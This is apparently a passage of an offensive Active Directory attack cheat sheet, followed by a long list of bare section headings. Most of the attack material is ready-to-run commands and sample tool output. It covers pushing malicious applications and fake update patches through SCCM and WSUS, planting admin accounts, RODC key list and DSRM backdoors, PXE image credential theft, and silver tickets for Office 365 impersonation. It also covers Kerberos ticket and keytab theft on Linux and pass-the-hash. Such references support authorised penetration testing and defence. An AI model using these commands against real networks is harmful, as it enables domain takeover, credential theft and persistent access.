SCCM Deployment

SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.

PowerSCCM - PowerShell module to interact with SCCM deployments
MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage
Compromise client, use locate to find management server ps1 MalSCCM.exe locate
Enumerate over WMI as an administrator of the Distribution Point ps1 MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
Compromise management server, use locate to find primary server
use Inspect on primary server to view who you can target ps1 MalSCCM.exe inspect /all MalSCCM.exe inspect /computers MalSCCM.exe inspect /primaryusers MalSCCM.exe inspect /groups
Create a new device group for the machines you want to laterally move too ps1 MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device MalSCCM.exe inspect /groups
Add your targets into the new group ps1 MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL
Create an application pointing to a malicious EXE on a world readable share : SCCMContentLib$ ps1 MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe" MalSCCM.exe inspect /applications
Deploy the application to the target group ps1 MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment MalSCCM.exe inspect /deployments
Force the target group to checkin for updates ps1 MalSCCM.exe checkin /groupname:TargetGroup
Cleanup the application, deployment and group ps1 MalSCCM.exe app /cleanup /name:demoapp MalSCCM.exe group /delete /groupname:TargetGroup

WSUS Deployment

Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network

:warning: The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.

SharpWSUS
Locate using HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate or SharpWSUS.exe locate
After WSUS Server compromise: SharpWSUS.exe inspect
Create a malicious patch: SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"
Deploy it on the target: SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"
Check status deployment: SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local
Clean up: SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group

RODC - Read Only Domain Controller Compromise

If the user is included in the Allowed RODC Password Replication, their credentials are stored in the server, and the msDS-RevealedList attribute of the RODC is populated with the username.

Requirements: * Impacket PR #1210 - The Kerberos Key List Attack * krbtgt credentials of the RODC (-rodcKey) * ID of the krbtgt account of the RODC (-rodcNo)

Exploitation:

# keylistattack.py using SAMR user enumeration without filtering (-full flag)
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full

# keylistattack.py defining a target username (-t flag)
keylistattack.py -kdc sever.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST

# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist

PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.
Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

powershell net user hacker Password123! /add net localgroup administrators /add hacker
Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

```powershell

Import the module

PS > Import-Module .\PowerPXE.ps1

Start the exploit on the Ethernet interface

PS > Get-PXEcreds -InterfaceAlias Ethernet PS > Get-PXECreds -InterfaceAlias « lab 0 »

Wait for the DHCP to get an address

Get a valid IP address

DHCP proposal IP address: 192.168.22.101 DHCP Validation: DHCPACK IP address configured: 192.168.22.101

Extract BCD path from the DHCP response

Request BCD File path

BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd TFTP IP Address: 192.168.22.3

Download the BCD file and extract wim files

Launch TFTP download

Transfer succeeded. Parse the BCD file: conf.bcd Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim Launch TFTP download Transfer succeeded.

Parse wim files to find interesting data

Open LiteTouchPE_x86.wim

Finding Bootstrap.ini

DeployRoot = \LAB-MDT\DeploymentShare$ UserID = MdtService UserPassword = Somepass1 ```

DNS Reconnaissance

Perform ADIDNS searches

StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

DSRM Credentials

Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior 

# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD 

# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2

Impersonating Office 365 Users on Azure AD Connect

Prerequisites:

Obtain NTLM password hash of the AZUREADSSOACC account powershell mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
AAD logon name of the user we want to impersonate (userPrincipalName or mail) powershell elrond@contoso.com
SID of the user we want to impersonate powershell S-1-5-21-2121516926-2695913149-3163778339-1234

Create the Silver Ticket and inject it into Kerberos cache:

mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

Launch Mozilla Firefox, go to about:config

network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".

Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.

Linux Active Directory

CCACHE ticket reuse from /tmp

When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache. Kerberos ticket name format is krb5cc_%{uid} where uid is the user UID.

$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

$ export KRB5CCNAME=/tmp/krb5cc_1569901115

CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey

# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets

CCACHE ticket reuse from SSSD KCM

SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb. The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey. By default, the key is only readable if you have root permissions.

Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets.

git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey

The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.

CCACHE ticket reuse from keytab

git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab

Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.

$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
     KVNO: 25
     Key type: 23
     Key: 31d6cfe0d16ae931b73c59d7e0c089c0
     Time stamp: Oct 07,  2019 09:12:02
[...]

On Linux you can use KeyTabExtract: we want RC4 HMAC hash to reuse the NLTM hash.

$ python3 keytabextract.py krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky

On macOS you can use bifrost.

./bifrost -action dump -source keytab -path test

Connect to the machine using the account and the hash with CME.

$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0

Active Directory Attacks

Tools

Active Directory Recon

Using BloodHound

Using PowerView

Using AD Module

Most common paths to AD compromise

MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

Mitigations

From CVE to SYSTEM shell on DC

ZeroLogon

PrintNightmare

samAccountName spoofing

https://github.com/SecureAuthCorp/impacket/pull/1224

https://github.com/SecureAuthCorp/impacket/pull/1202

Open Shares

SCF and URL file attack against writeable share

SCF Files

URL Files

Windows Library Files

Windows Search Connectors Files

Passwords in SYSVOL & Group Policy Preferences

Automate the SYSVOL and passwords research

Mitigations

Exploit Group Policy Objects GPO

Find vulnerable GPO

Abuse GPO with SharpGPOAbuse

Abuse GPO with PowerGPOAbuse

Abuse GPO with pyGPOAbuse

Abuse GPO with PowerView

Abuse GPO with StandIn

Dumping AD Domain Credentials

Using ndtsutil

Using Vshadow

Using vssadmin

Using DiskShadow (a Windows signed binary)

Using esentutl.exe

Extract hashes from ntds.dit

Alternatives - modules

Using Mimikatz DCSync

Using Mimikatz sekurlsa

Crack NTLM hashes with hashcat

Password spraying

Kerberos pre-auth bruteforcing

Spray a pre-generated passwords list

Spray passwords against the RDP service

BadPwdCount attribute

Password in AD User comment

Reading LAPS Password

Determine if LAPS is installed

Extract LAPS password

Reading GMSA Password

GMSA Attributes in the Active Directory

Extract NT hash from the Active Directory

Forging Golden GMSA

Dump all KDS Root Keys

Dump a specific KDS Root Key

Compute gMSA password

--sid : SID of the gMSA (required)

--kdskey : Base64 encoded KDS Root Key

--pwdid : Base64 of msds-ManagedPasswordID attribute value

Pass-the-Ticket Golden Tickets

Using Mimikatz

Using Meterpreter

Using a ticket on Linux

Pass-the-Ticket Silver Tickets

Kerberoasting

KRB_AS_REP Roasting

Shadow Credentials

Pass-the-Hash

OverPass-the-Hash (pass the key)

Using impacket

Using Rubeus

UnPAC The Hash

use the session key to recover the NT hash

Capturing and cracking Net-NTLMv1/NTLMv1 hashes

Capturing and cracking Net-NTLMv2/NTLMv2 hashes

Man-in-the-Middle attacks & relaying

MS08-068 NTLM reflection

SMB Signing Disabled and IPv4